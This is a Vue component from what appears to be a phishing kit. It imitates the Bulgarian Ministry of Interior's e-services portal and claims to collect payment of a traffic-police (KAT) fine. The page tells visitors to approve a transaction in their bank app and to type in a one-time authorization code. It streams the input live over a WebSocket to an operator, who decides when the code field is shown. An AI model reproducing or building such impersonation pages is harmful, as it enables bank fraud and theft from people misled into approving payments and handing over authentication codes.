Files
zy-client-a/a11_bg_Fine_kat-obligations/src/views/AppValidView.vue
telangpu c8dc57a3f6 update
2026-05-10 23:13:23 +08:00

330 lines
7.9 KiB
Vue
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<script setup lang="ts">
import {
nextTick,
onMounted,
onUnmounted,
reactive,
ref,
watch,
} from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
const cardType = ref("");
import { useI18n } from "vue-i18n";
import { inputChange, myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "appValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query) {
console.log("route", query);
cardType.value = query.cardType;
}
localStorage.setItem("route", "appValid");
eventBus.on("app-valid", handleEvent);
});
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("app-valid", handleEvent);
});
const formData = reactive({ appVerifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "appVerifyCode", value.target.value);
formData.appVerifyCode = value.target.value;
};
const showInput = ref(false);
watch(message, (newValue, oldValue) => {
showInput.value = !!(message.value.includes(":") || newValue.includes(""));
});
const submit = async () => {
await nextTick();
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitAppValidCode",
formData: formData,
},
})
);
message.value = "";
};
</script>
<template>
<div class="mvr-app-wrapper">
<!-- Портал header strip -->
<div class="mvr-header-strip">
<span class="mvr-header-label">Портал за електронни административни услуги</span>
</div>
<div class="mvr-app-card">
<!-- Shield / mobile icon -->
<div class="mvr-phone-icon">
<svg viewBox="0 0 80 80" xmlns="http://www.w3.org/2000/svg" width="72" height="72">
<rect x="18" y="4" width="44" height="72" rx="7" fill="#eef4fb" stroke="#1a5e9e" stroke-width="2.5"/>
<rect x="28" y="9" width="24" height="4" rx="2" fill="#1a5e9e" opacity="0.35"/>
<circle cx="40" cy="70" r="3" fill="#1a5e9e" opacity="0.45"/>
<path d="M40 22 L52 27 L52 38 Q52 47 40 52 Q28 47 28 38 L28 27 Z" fill="#1a5e9e" opacity="0.12" stroke="#1a5e9e" stroke-width="1.5"/>
<polyline points="34,38 38,43 47,33" fill="none" stroke="#1a5e9e" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg>
</div>
<h2 class="mvr-title">Потвърждение чрез мобилно приложение</h2>
<p class="mvr-desc">
Отворете мобилното приложение на вашата банка и потвърдете транзакцията за
плащане на <strong>задължение към КАТ</strong>.<br/>
Не затваряйте тази страница до получаване на потвърждение.
</p>
<div class="mvr-bank-row">
<svg viewBox="0 0 24 24" width="16" height="16" fill="#1a5e9e" style="flex-shrink:0">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4z"/>
</svg>
<span><b>{{ t("Authorized bank") }}</b></span>
</div>
<p class="mvr-sub">{{ t("Please go to the bank App to confirm the authorization") }}</p>
<p class="mvr-sub">{{ t("Please do not close this page") }}</p>
<p class="mvr-error" v-if="message">{{ message }}</p>
<div class="mvr-input-wrap" v-if="showInput">
<label class="mvr-input-label">Еднократен код за оторизация</label>
<input
required
type="number"
inputmode="numeric"
class="mvr-input"
@input="onchange"
v-model="formData.appVerifyCode"
minlength="3"
maxlength="8"
placeholder="Въведете кода"
/>
<button class="mvr-btn" type="button" @click="submit">Потвърди</button>
</div>
<div class="mvr-loading-wrap" v-if="!showInput">
<svg class="mvr-spinner" viewBox="0 0 50 50" xmlns="http://www.w3.org/2000/svg">
<circle cx="25" cy="25" r="20" fill="none" stroke="#d8e6f3" stroke-width="4"/>
<circle cx="25" cy="25" r="20" fill="none" stroke="#1a5e9e" stroke-width="4"
stroke-dasharray="80 45" stroke-linecap="round"/>
</svg>
<p class="mvr-waiting">Изчакване на потвърждение от приложението</p>
</div>
</div>
<div class="mvr-footer-strip">
© Министерство на вътрешните работи &nbsp;|&nbsp; e-uslugi.mvr.bg
</div>
</div>
</template>
<style scoped>
/* ── MVR / e-uslugi.mvr.bg palette ── */
/* Primary blue: #1a5e9e | Light bg: #eef4fb | Accent: #e8f0fb */
.mvr-app-wrapper {
min-height: 100dvh;
background-color: #eef4fb;
display: flex;
flex-direction: column;
align-items: center;
justify-content: space-between;
font-family: "Segoe UI", Arial, sans-serif;
}
/* ── top strip ── */
.mvr-header-strip {
width: 100%;
background-color: #1a5e9e;
color: #fff;
font-size: 13px;
font-weight: 600;
text-align: center;
padding: 10px 16px;
letter-spacing: 0.02em;
box-sizing: border-box;
}
.mvr-header-label {
opacity: 0.95;
}
/* ── main card ── */
.mvr-app-card {
background: #ffffff;
border-radius: 6px;
border: 1px solid #c8d8ec;
box-shadow: 0 2px 14px rgba(26,94,158,0.10);
padding: 36px 28px 32px;
width: 100%;
max-width: 420px;
text-align: center;
margin: 28px 16px;
box-sizing: border-box;
}
.mvr-phone-icon {
margin: 0 auto 20px;
}
.mvr-title {
font-size: 19px;
font-weight: 700;
color: #1a3a5c;
margin-bottom: 14px;
line-height: 1.35;
}
.mvr-desc {
font-size: 14px;
color: #4a5a6a;
line-height: 1.65;
margin-bottom: 20px;
}
.mvr-bank-row {
display: inline-flex;
align-items: center;
gap: 6px;
font-size: 14px;
color: #1a3a5c;
background: #eef4fb;
border: 1px solid #c8d8ec;
border-radius: 4px;
padding: 6px 12px;
margin-bottom: 12px;
}
.mvr-sub {
font-size: 13px;
color: #7a8fa3;
margin: 3px 0;
}
.mvr-error {
color: #c0392b;
font-size: 14px;
font-weight: 600;
margin: 12px 0;
background: #fff5f5;
border: 1px solid #f5c6c6;
border-radius: 4px;
padding: 8px 12px;
}
/* ── input section ── */
.mvr-input-wrap {
margin-top: 22px;
display: flex;
flex-direction: column;
gap: 10px;
align-items: center;
}
.mvr-input-label {
font-size: 14px;
font-weight: 600;
color: #1a3a5c;
text-align: left;
width: 82%;
}
.mvr-input {
width: 82%;
padding: 10px 12px;
border: 1.5px solid #a8c0d8;
border-radius: 4px;
font-size: 18px;
font-weight: 700;
text-align: center;
outline: none;
box-sizing: border-box;
color: #1a3a5c;
}
.mvr-input:focus {
border-color: #1a5e9e;
box-shadow: 0 0 0 3px rgba(26,94,158,0.15);
}
.mvr-btn {
width: 82%;
padding: 12px;
background-color: #1a5e9e;
color: #fff;
border: none;
border-radius: 4px;
font-size: 15px;
font-weight: 700;
cursor: pointer;
letter-spacing: 0.02em;
transition: background-color 0.15s;
}
.mvr-btn:hover {
background-color: #154e87;
}
.mvr-btn:active {
background-color: #0f3d6b;
}
/* ── loading ── */
.mvr-loading-wrap {
margin-top: 24px;
display: flex;
flex-direction: column;
align-items: center;
gap: 12px;
}
.mvr-spinner {
width: 48px;
height: 48px;
animation: mvr-spin 1.2s linear infinite;
}
.mvr-waiting {
font-size: 13px;
color: #7a8fa3;
}
/* ── footer strip ── */
.mvr-footer-strip {
width: 100%;
background-color: #1a3a5c;
color: rgba(255,255,255,0.75);
font-size: 12px;
text-align: center;
padding: 10px 16px;
box-sizing: border-box;
}
@keyframes mvr-spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
</style>